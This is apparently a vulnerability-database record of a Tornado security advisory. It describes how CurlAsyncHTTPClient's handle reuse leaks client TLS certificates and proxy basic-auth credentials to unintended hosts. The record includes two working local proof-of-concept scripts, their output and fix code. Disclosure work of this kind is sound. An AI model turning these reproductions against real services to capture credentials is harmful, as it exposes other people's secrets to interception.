{"id":"GHSA-pw6j-qg29-8w7f","aliases":[],"url":"https://o3.security/vulnerability/GHSA-pw6j-qg29-8w7f","summary":"Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse","details":"# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below — a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) — both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n— `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A — client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B — proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n    curl.setopt(pycurl.PROXY, request.proxy_host)\n    curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n    if request.proxy_username:                 # only place PROXYUSERPWD is set\n        ...\n        curl.setopt(pycurl.PROXYUSERPWD, credentials)\n    ...\nelse:\n    try:\n        curl.unsetopt(pycurl.PROXY)\n    except TypeError:\n        curl.setopt(pycurl.PROXY, \"\")\n    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request's\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance — a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A — client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n    return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    cert = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(name)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n        .sign(key, hashes.SHA256())\n    )\n    return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    b = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(ca_cert.subject)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n    )\n    if ips:\n        b = b.add_extension(\n            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n            critical=False,\n        )\n    if client:\n        b = b.add_extension(\n            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n        )\n    return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n    with open(path, \"wb\") as fh:\n        fh.write(cert.public_bytes(serialization.Encoding.PEM))\n        if key is not None:\n            fh.write(key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n\nclass TLSServer:\n    def __init__(self, srv_pem, ca_pem, require):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n        self.ctx.load_cert_chain(srv_pem)\n        self.ctx.load_verify_locations(ca_pem)\n        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                s = self.ctx.wrap_socket(conn, server_side=True)\n                self.captures.append(s.getpeercert() or None)\n                try:\n                    s.recv(4096)\n                    s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n                except Exception:\n                    pass\n                s.close()\n            except Exception:\n                self.captures.append(\"handshake-failed\")\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef _cn(peer):\n    if not peer or not isinstance(peer, dict):\n        return None\n    for rdn in peer.get(\"subject\", ()):\n        for k, v in rdn:\n            if k == \"commonName\":\n                return v\n    return None\n\n\nasync def main():\n    with tempfile.TemporaryDirectory() as tmp:\n        ca_cert, ca_key = _ca()\n        s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n        ca_pem = os.path.join(tmp, \"ca.pem\")\n        s1_pem = os.path.join(tmp, \"s1.pem\")\n        s2_pem = os.path.join(tmp, \"s2.pem\")\n        cert_pem = os.path.join(tmp, \"client.crt\")\n        key_pem = os.path.join(tmp, \"client.key\")\n        _pem(ca_pem, ca_cert)\n        _pem(s1_pem, s1_cert, s1_key)\n        _pem(s2_pem, s2_cert, s2_key)\n        _pem(cert_pem, cli_cert)\n        with open(key_pem, \"wb\") as fh:\n            fh.write(cli_key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n        s1 = TLSServer(s1_pem, ca_pem, require=True)\n        s2 = TLSServer(s2_pem, ca_pem, require=False)\n        try:\n            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await clean.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/baseline\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            clean.close()\n\n            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n                client_cert=cert_pem, client_key=key_pem,\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/other-host\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await asyncio.sleep(0.2)\n            client.close()\n        finally:\n            s1.stop()\n            s2.stop()\n\n        baseline = _cn(s2.captures[0]) if s2.captures else None\n        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None\n\n        print(f\"{'scenario':<48}{'cert presented to server 2'}\")\n        print(f\"{'-' * 48}{'-' * 28}\")\n        print(f\"{'baseline: clean client, no client_cert':<48}{baseline!r}\")\n        print(f\"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}\")\n        print()\n        print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n        print()\n        if baseline is None and leaked == \"trusted-client\":\n            print(\"VERDICT: VULNERABLE — the client certificate from request A was \"\n                  \"presented to server 2 on request B, which specified none.\")\n            return 0\n        print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` → 6.5.6, installed in the venv):\n\n```\nscenario                                        cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert          None\nexploit: reused handle (A had client_cert)      'trusted-client'\n\n(sanity) server 1 (mTLS required) saw: 'trusted-client'\n\nVERDICT: VULNERABLE — the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B — proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n    def __init__(self):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                data = b\"\"\n                while b\"\\r\\n\\r\\n\" not in data and len(data) < 8192:\n                    chunk = conn.recv(2048)\n                    if not chunk:\n                        break\n                    data += chunk\n                self.captures.append(data)\n                conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n                             b\"Connection: close\\r\\n\\r\\n\")\n            except Exception:\n                pass\n            finally:\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef proxy_authz(raw):\n    head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n    for line in head.split(\"\\r\\n\"):\n        if line.lower().startswith(\"proxy-authorization:\"):\n            return line\n    return None\n\n\nasync def main():\n    proxy_a = CapturingProxy()\n    proxy_b = CapturingProxy()\n    try:\n        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/a\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_a.port,\n            proxy_username=\"alice\", proxy_password=\"secretA\",\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await client.fetch(HTTPRequest(\n            \"http://target.example/b\",\n            proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n            request_timeout=5, connect_timeout=5), raise_error=False)\n        await asyncio.sleep(0.2)\n        client.close()\n    finally:\n        proxy_a.stop()\n        proxy_b.stop()\n\n    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n    expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n    print(f\"{'request':<42}{'Proxy-Authorization seen by that proxy'}\")\n    print(f\"{'-' * 42}{'-' * 40}\")\n    print(f\"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}\")\n    print(f\"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}\")\n    print()\n    if b and expected in b:\n        print(f\"VERDICT: VULNERABLE — proxy B received alice's credentials \"\n              f\"({expected}) although request B specified no proxy_username.\")\n        return 0\n    print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n    return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest                                   Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE — proxy B received alice's credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n  of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n  options on a shared `CurlAsyncHTTPClient` — for Vector A, mixing per-request\n  `client_cert` requests with non-certificate requests; for Vector B,\n  multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n  handshake — proving possession of the private key and disclosing the\n  certificate subject and chain — to a host that was never meant to receive it.\n  For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n  different proxy. If the unintended host/proxy is attacker-controlled or\n  attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n  endpoint, or a proxy chosen from user-controlled configuration), the credential\n  is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n  with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n  affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched — see the\ncomment at lines 401-409 — so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n    curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n    curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n    ...\n    curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n    curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n    curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n    curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.","published":"2026-06-15T20:37:24Z","modified":"2026-06-16T22:59:25.768721886Z","cvss":{"score":5.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"tornado","fixedVersion":"6.5.7"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/tornadoweb/tornado/security/advisories/GHSA-pw6j-qg29-8w7f"},{"type":"PACKAGE","url":"https://github.com/tornadoweb/tornado"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-16T22:59:25.768721886Z"}}